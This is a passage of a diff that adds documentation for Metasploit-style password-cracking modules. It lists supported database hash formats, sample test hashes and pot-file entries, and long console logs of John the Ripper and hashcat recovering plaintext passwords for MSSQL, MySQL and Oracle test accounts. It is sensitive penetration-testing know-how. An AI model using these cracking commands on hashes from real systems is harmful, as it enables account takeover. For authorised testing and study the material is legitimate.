+resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
+CUSTOM_WORDLIST => /tmp/wordlist
+resource (hashes_hashcat.rb)> setg ShowCommand true
+ShowCommand => true
+resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
+USE_DEFAULT_WORDLIST => false
+resource (hashes_hashcat.rb)> setg DeleteTempFiles false
+DeleteTempFiles => false
+resource (hashes_hashcat.rb)> setg USE_CREDS false
+USE_CREDS => false
+resource (hashes_hashcat.rb)> setg USE_DB_INFO false
+USE_DB_INFO => false
+resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
+USE_HOSTNAMES => false
+resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
+USE_ROOT_WORDS => false
+resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
+ITERATION_TIMEOUT => 60
+resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_aix
+resource (hashes_hashcat.rb)> set action hashcat
+action => hashcat
+resource (hashes_hashcat.rb)> run
+[+] hashcat Version Detected: v5.1.0
+[*] Hashes Written out to /tmp/hashes_tmp20190531-27714-1ct3bn3
+[*] Wordlist file written out to /tmp/jtrtmp20190531-27714-1j3q151
+[*] Checking descrypt hashes already cracked...
+[*] Cracking descrypt hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=wCGD0gD0 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-27714-1ct3bn3
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking descrypt hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=wCGD0gD0 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-27714-1ct3bn3 /tmp/jtrtmp20190531-27714-1j3q151
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username       Cracked Password  Method
+ -----  ---------  --------       ----------------  ------
+ 1260   descrypt   des2_password  password          Wordlist
+ 1261   descrypt   des_password   password          Wordlist
+ 1262   descrypt   des_55         55                Incremental
+ 1263   descrypt   des_pot_55     55                Already Cracked/POT
+
+[*] Auxiliary module execution completed
+resource (hashes_hashcat.rb)> creds
+Credentials
+===========
+
+host  origin  service  public          private                   realm  private_type        JtR Format
+----  ------  -------  ------          -------                   -----  ------------        ----------
+                       des2_password   rEK1ecacw.7.c                    Nonreplayable hash  des
+                       des_password    rEK1ecacw.7.c                    Nonreplayable hash  des
+                       des_55          rDpJV6xlcXxRM                    Nonreplayable hash  des
+                       des_pot_55      fakeV6xlcXxRM                    Nonreplayable hash  des
+                       des_passphrase  qiyh4XPJGsOZ2MEAyLkfWqeQ         Nonreplayable hash  des
+                       des_pot_55      55                               Password            
+                       des_55          55                               Password            
+                       des2_password   password                         Password            
+                       des_password    password                         Password
+```
@@ -0,0 +1,920 @@
+## Vulnerable Application
+
+  This module attempts to use a password cracker to decode varying databases
+  based password hashes, such as:
+
+  * `mysql` based passwords
+    * `mysql` based passwords
+    * `mysql-sha1` based passwords
+  * `mssql` based passwords
+    * `mssql` based passwords
+    * `mssql05` based passwords
+    * `mssql12` based passwords
+  * `oracle` based passwords
+    * `oracle 10` based passwords
+    * `oracle 11/12 H values` based passwords
+    * `oracle 12c` based passwords
+  * `postgres` based passwords
+
+
+| Common         | John        | Hashcat |
+|----------------|-------------|---------|
+| mysql          | mysql       | 200     |
+| mysql-sha1     | mysql-sha1  | 300     |
+| mssql          | mssql       | 131     |
+| mssql05        | mssql05     | 132     |
+| mssql12        | mssql12     | 1731    |
+| oracle 10      | oracle      | n/a     |
+| oracle 11/12 H |             | 112     |
+| oracle 12c     | sha512crypt | 12300   |
+| postgres       | postgres    | 1800    |
+
+  Sources of hashes can be found here:
+  [source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
+
+## Verification Steps
+
+  1. Have at least one user with a database password hash in the database
+  2. Start msfconsole
+  3. Do: ```use auxiliary/analyze/crack_databases```
+  4. Do: set cracker of choice
+  5. Do: ```run```
+  6. You should hopefully crack a password.
+
+## Actions
+
+   **john**
+
+   Use john the ripper (default).
+
+   **hashcat**
+
+   Use hashcat.
+
+## Options
+
+   **CONFIG**
+
+   The path to a John config file (JtR option: `--config`).  Default is `metasploit-framework/data/john.conf`
+
+   **CRACKER_PATH**
+
+   The absolute path to the cracker executable.  Default behavior is to search `path`.
+
+   **CUSTOM_WORDLIST**
+
+   The path to an optional custom wordlist.  This file is added to the new wordlist which may include the other
+   `USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
+
+   **DeleteTempFiles**
+
+   This option will prevent deletion of the wordlist and file containing hashes.  This may be useful for
+   running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
+
+   **Fork**
+
+   This option will set how many forks to use on john the ripper.  Default is `1` (no forking).
+
+   **INCREMENTAL**
+
+   Run the cracker in incremental mode.  Default is `true`
+
+   **ITERATION_TIMEOUT**
+
+   The max-run-time for each iteration of cracking.
+
+   **KORELOGIC**
+
+   Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
+   Default is `false`.
+
+   **MSSQL**
+
+   Crack MSSQL hashes. Default is `true`.
+
+   **MYSQL**
+
+   Crack MySQL hashes. Default is `true`.
+
+   **MUTATE**
+
+   Apply common mutations to the Wordlist (SLOW).  Mutations are:
+
+   * `'@' => 'a'`
+   * `'0' => 'o'`
+   * `'3' => 'e'`
+   * `'$' => 's'`
+   * `'7' => 't'`
+   * `'1' => 'l'`
+   * `'5' => 's'`
+
+   Default is `false`.
+
+   **ORACLE**
+
+   Crack oracle hashes. Default is `true`.
+
+
+   **POSTGRES**
+
+   Crack postgres hashes. Default is `true`.
+
+   **POT**
+
+   The path to a John POT file (JtR option: `--pot`) to use instead.  The `pot` file is the data file which
+   records cracked password hashes.  Kali linux's default location is `/root/.john/john.pot`.
+   Default is `~/.msf4/john.pot`.
+
+   **SHOWCOMMAND**
+
+   Show the command being used run from the command line for debugging.  Default is `false`
+
+   **USE_CREDS**
+
+   Use existing credential data saved in the database.  Default is `true`.
+
+   **USE_DB_INFO**
+
+   Use looted database schema info to seed the wordlist.  This includes the Database Name, each Table Name,
+   and each Column Name.  If the DB is MSSQL, the Instance Name is also used.  Default is `true`.
+
+   **USE_DEFAULT_WORDLIST**
+
+   Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`.  Default is
+   `true`.
+
+   **USE_HOSTNAMES**
+
+   Seed the wordlist with hostnames from the workspace.  Default is `true`.
+
+   **USE_ROOT_WORDS**
+
+   Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`.  Default
+   is true.
+
+   **WORDLIST**
+
+   Run the cracker in dictionary/wordlist mode.  Default is `true`
+
+## Scenarios
+
+### Sample Data
+
+The following is data which can be used to test integration, including adding entries
+to a wordlist and pot file to test various aspects of the cracker.
+
+```
+creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
+creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279$
+creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E278$
+creds add user:mysql_probe hash:445ff82636a7ba59 jtr:mysql
+creds add user:mysql-sha1_tere hash:*5AD8F88516BD021DD43F171E2C785C69F8E54ADB jtr:mysql-sha1
+## oracle (10) uses usernames in the hashing, so we can't overide that here
+creds add user:simon hash:4F8BC1809CB2AF77 jtr:des,oracle
+creds add user:SYSTEM hash:9EEDFA0AD26C6D52 jtr:des,oracle
+## oracle 11/12 H value, username is used
+creds add user:DEMO hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797$
+## oracle 11/12 uses a LONG format, see lib/msf/core/auxiliary/jtr.rb
+creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:$
+creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B3$
+##postgres uses username, so we can't overide that here
+creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
+creds add user:example postgres:md5be86a79bf20fake2d58d5453c47d4860
+echo "" > /root/.msf4/john.pot
+echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
+echo "md5be86a79bf20fake2d58d5453c47d4860:password" >> /root/.msf4/john.pot
+echo "\$1\$O3JMY.Tw\$AdLnLjQ/5jXF9.fakegHv/:password" >> /root/.msf4/john.pot
+echo "test" > /tmp/wordlist
+echo "password" >> /tmp/wordlist
+echo "toto" >> /tmp/wordlist
+echo "foo" >> /tmp/wordlist
+echo "tere" >> /tmp/wordlist
+echo "Password1\!" >> /tmp/wordlist
+echo "system" >> /tmp/wordlist
+echo "simon" >> /tmp/wordlist
+echo "A" >> /tmp/wordlist
+echo "THALES" >> /tmp/wordlist
+echo "probe" >> /tmp/wordlist
+echo "epsilon" >> /tmp/wordlist
+echo "t\!" >> /tmp/wordlist
+```
+
+### John the Ripper
+
+We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
+
+```
+resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
+CUSTOM_WORDLIST => /tmp/wordlist
+resource (hashes_hashcat.rb)> setg ShowCommand true
+ShowCommand => true
+resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
+USE_DEFAULT_WORDLIST => false
+resource (hashes_hashcat.rb)> setg DeleteTempFiles false
+DeleteTempFiles => false
+resource (hashes_hashcat.rb)> setg USE_CREDS false
+USE_CREDS => false
+resource (hashes_hashcat.rb)> setg USE_DB_INFO false
+USE_DB_INFO => false
+resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
+USE_HOSTNAMES => false
+resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
+USE_ROOT_WORDS => false
+resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
+ITERATION_TIMEOUT => 60
+resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_databases
+resource (hashes_hashcat.rb)> run
+[+] john Version Detected: 1.9.0-jumbo-1 OMP
+[*] Hashes Written out to /tmp/hashes_tmp20190531-29358-125bmsb
+[*] Wordlist file written out to /tmp/jtrtmp20190531-29358-11uv1t0
+[*] Checking mssql hashes already cracked...
+[*] Cracking mssql hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+Warning: no OpenMP support for this hash type, consider --fork=8
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 15:44) 50.00g/s 400.0p/s 400.0c/s 400.0C/s TEST3:::..FOO
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking mssql hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mssql hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mssql hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mssql hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username   Cracked Password  Method
+ -----  ---------  --------   ----------------  ------
+ 1357   mssql      mssql_foo  FOO               Single
+
+[*] Checking mssql05 hashes already cracked...
+[*] Cracking mssql05 hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+Warning: no OpenMP support for this hash type, consider --fork=8
+Press 'q' or Ctrl-C to abort, almost any other key for status
+2g 0:00:00:00 DONE (2019-05-31 15:44) 100.0g/s 400.0p/s 800.0c/s 800.0C/s test3:::..foo
+Use the "--show --format=mssql05" options to display all of the cracked passwords reliably
+Session completed
+[*] Cracking mssql05 hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mssql05 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mssql05 hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mssql05 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username      Cracked Password  Method
+ -----  ---------  --------      ----------------  ------
+ 1356   mssql05    mssql05_toto  toto              Single
+ 1357   mssql      mssql_foo     FOO               Single
+
+[*] Checking mssql12 hashes already cracked...
+[*] Cracking mssql12 hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 15:44) 50.00g/s 409600p/s 409600c/s 409600C/s test3:::..Password1\!99
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking mssql12 hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mssql12 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mssql12 hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mssql12 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username            Cracked Password  Method
+ -----  ---------  --------            ----------------  ------
+ 1356   mssql05    mssql05_toto        toto              Single
+ 1357   mssql      mssql_foo           FOO               Single
+ 1358   mssql12    mssql12_Password1!  Password1!        Single
+
+[*] Checking mysql hashes already cracked...
+[*] Cracking mysql hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+Warning: no OpenMP support for this hash type, consider --fork=8
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 15:45) 100.0g/s 51200p/s 51200c/s 51200C/s test3:::..est3:::
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking mysql hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mysql hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mysql hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mysql hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username            Cracked Password  Method
+ -----  ---------  --------            ----------------  ------
+ 1356   mssql05    mssql05_toto        toto              Single
+ 1357   mssql      mssql_foo           FOO               Single
+ 1358   mssql12    mssql12_Password1!  Password1!        Single
+ 1359   mysql      mysql_probe         probe             Single
+
+[*] Checking mysql-sha1 hashes already cracked...
+[*] Cracking mysql-sha1 hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+Warning: no OpenMP support for this hash type, consider --fork=8
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 15:45) 100.0g/s 1600p/s 1600c/s 1600C/s tere..probe
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking mysql-sha1 hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mysql-sha1 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mysql-sha1 hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking mysql-sha1 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type   Username            Cracked Password  Method
+ -----  ---------   --------            ----------------  ------
+ 1356   mssql05     mssql05_toto        toto              Single
+ 1357   mssql       mssql_foo           FOO               Single
+ 1358   mssql12     mssql12_Password1!  Password1!        Single
+ 1359   mysql       mysql_probe         probe             Single
+ 1360   mysql-sha1  mysql-sha1_tere     tere              Single
+
+[*] Checking oracle hashes already cracked...
+[*] Cracking oracle hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+2g 0:00:00:00 DONE (2019-05-31 15:45) 66.66g/s 364200p/s 1092Kc/s 1092KC/s TEST3:::..T1900
+Use the "--show --format=oracle" options to display all of the cracked passwords reliably
+Session completed
+[*] Cracking oracle hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Proceeding with single, rules:Single
+Press 'q' or Ctrl-C to abort, almost any other key for status
+Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
+Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
+Almost done: Processing the remaining buffered candidate passwords, if any.
+Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
+Proceeding with incremental:ASCII
+Warning: mixed-case charset, but the current hash type is case-insensitive;
+some candidate passwords may be unnecessarily tried more than once.
+0g 0:00:01:00  3/3 0g/s 2705Kp/s 2705Kc/s 2705KC/s LML489..LST0WO
+Session stopped (max run-time reached)
+[*] Cracking oracle hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Proceeding with single, rules:Single
+Press 'q' or Ctrl-C to abort, almost any other key for status
+Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
+Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
+Almost done: Processing the remaining buffered candidate passwords, if any.
+Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
+Proceeding with incremental:ASCII
+Warning: mixed-case charset, but the current hash type is case-insensitive;
+some candidate passwords may be unnecessarily tried more than once.
+0g 0:00:01:00  3/3 0g/s 2700Kp/s 2700Kc/s 2700KC/s CKS5ER..CGE0DW
+Session stopped (max run-time reached)
+[*] Cracking oracle hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+0g 0:00:01:00  0g/s 2880Kp/s 2880Kc/s 2880KC/s 225486472..229896168
+Session stopped (max run-time reached)
+[*] Cracking oracle hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+0g 0:00:00:00 DONE (2019-05-31 15:48) 0g/s 16700p/s 16700c/s 16700C/s TEST3:::..HASHCATING
+Session completed
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type   Username            Cracked Password  Method
+ -----  ---------   --------            ----------------  ------
+ 1356   mssql05     mssql05_toto        toto              Single
+ 1357   mssql       mssql_foo           FOO               Single
+ 1358   mssql12     mssql12_Password1!  Password1!        Single
+ 1359   mysql       mysql_probe         probe             Single
+ 1360   mysql-sha1  mysql-sha1_tere     tere              Single
+ 1361   oracle      simon               A                 Single
+ 1362   oracle      SYSTEM              THALES            Single
+
+[*] Checking dynamic_1506 hashes already cracked...
+[*] Cracking dynamic_1506 hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking dynamic_1506 hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking dynamic_1506 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking dynamic_1506 hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking dynamic_1506 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type   Username            Cracked Password  Method
+ -----  ---------   --------            ----------------  ------
+ 1356   mssql05     mssql05_toto        toto              Single
+ 1357   mssql       mssql_foo           FOO               Single
+ 1358   mssql12     mssql12_Password1!  Password1!        Single
+ 1359   mysql       mysql_probe         probe             Single
+ 1360   mysql-sha1  mysql-sha1_tere     tere              Single
+ 1361   oracle      simon               A                 Single
+ 1362   oracle      SYSTEM              THALES            Single
+
+[*] Checking raw-sha1,oracle hashes already cracked...
+Unknown ciphertext format name requested
+[*] Cracking raw-sha1,oracle hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Unknown ciphertext format name requested
+Unknown ciphertext format name requested
+[*] Cracking raw-sha1,oracle hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Unknown ciphertext format name requested
+Unknown ciphertext format name requested
+[*] Cracking raw-sha1,oracle hashes in wordlist mode...
